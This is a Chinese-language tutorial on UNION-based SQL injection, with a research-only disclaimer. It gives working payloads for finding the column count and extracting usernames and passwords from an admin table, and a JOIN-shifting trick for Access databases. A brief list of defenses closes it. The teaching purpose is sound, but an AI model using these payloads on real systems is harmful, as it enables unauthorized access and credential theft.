聲明:本文僅供安全研究與防禦教學,嚴禁用於非授權測試。 理解攻擊原理才能建立有效防禦。本文深度解析 UNION 注入核心機制、Access/SQL Server 差異、列數對齊技巧、JOIN 繞過未知欄名、錯誤回顯關閉下的盲注策略。
前提:原查詢為 SELECT col1, col2, col3 FROM table WHERE id = 1。
注入:id = 1 UNION SELECT username, password, 1 FROM admin
條件:
SELECT 列數完全一致。id=1 ORDER BY 1 -- 成功
id=1 ORDER BY 2 -- 成功
id=1 ORDER BY 4 -- 失敗 → 列數 = 3
或使用 UNION SELECT NULL, NULL, NULL 遞增測試。
id=1 UNION SELECT 1, 'test', 3 -- 觀察頁面哪個欄位顯示 'test'
-- SQL Server
id=1 UNION SELECT username, password, 1 FROM admin
-- Access(列順序不同,見下文)
| 特性 | SQL Server | Access |
|---|---|---|
SELECT *, 1, 1 列順序 | *, 1, 1 | 1, 1, * (永遠將 * 移至最後) |
| 未知欄名提取 | 直接 SELECT * FROM admin 對齊即可 | 需用 JOIN 構造虛擬列將 * 移至可顯示位置 |
| 錯誤回顯關閉 | 仍可用 UNION 盲提取 | 同樣可用 |
原理:SELECT 1, * FROM (admin a INNER JOIN admin b ON a.id=b.id) ... 會產生 1, a.*, b.*,透過多層 JOIN 增加前導列,將 * 推至目標顯示位置。
-- 目標:讓 admin 的 username/password 落在頁面第 3、7 顯示位置
id=1 UNION SELECT 1, * FROM
(((admin a INNER JOIN admin b ON a.id=b.id)
INNER JOIN admin c ON c.id=b.id)
INNER JOIN admin d ON d.id=c.id)
INNER JOIN admin e ON e.id=d.id
結果集結構:1, a.id, a.user, a.pwd, b.id, b.user, b.pwd, c.id, c.user, c.pwd, d.id, d.user, d.pwd, e.id, e.user, e.pwd
第 3、7 列即為 a.user, a.pwd。
id=1 無需單引號,繞過引號過濾。display_errors=Off。SELECT * + 列對齊(SQL Server)或 JOIN 位移。PreparedStatement、sp_executesql、ORM 參數綁定。SELECT/INSERT/UPDATE,禁止 DROP、UNION 系統表。UNION、大量錯誤、非常規時間查詢觸發告警。UNION 注入利用結果集合併特性,配合列數對齊、型別相容、Access 列順序差異與 JOIN 位移技巧,可在多種限制下提取數據。但只要堅持參數化查詢,此類攻擊即失效。安全不在於了解多少招式,而在於架構層面的根治。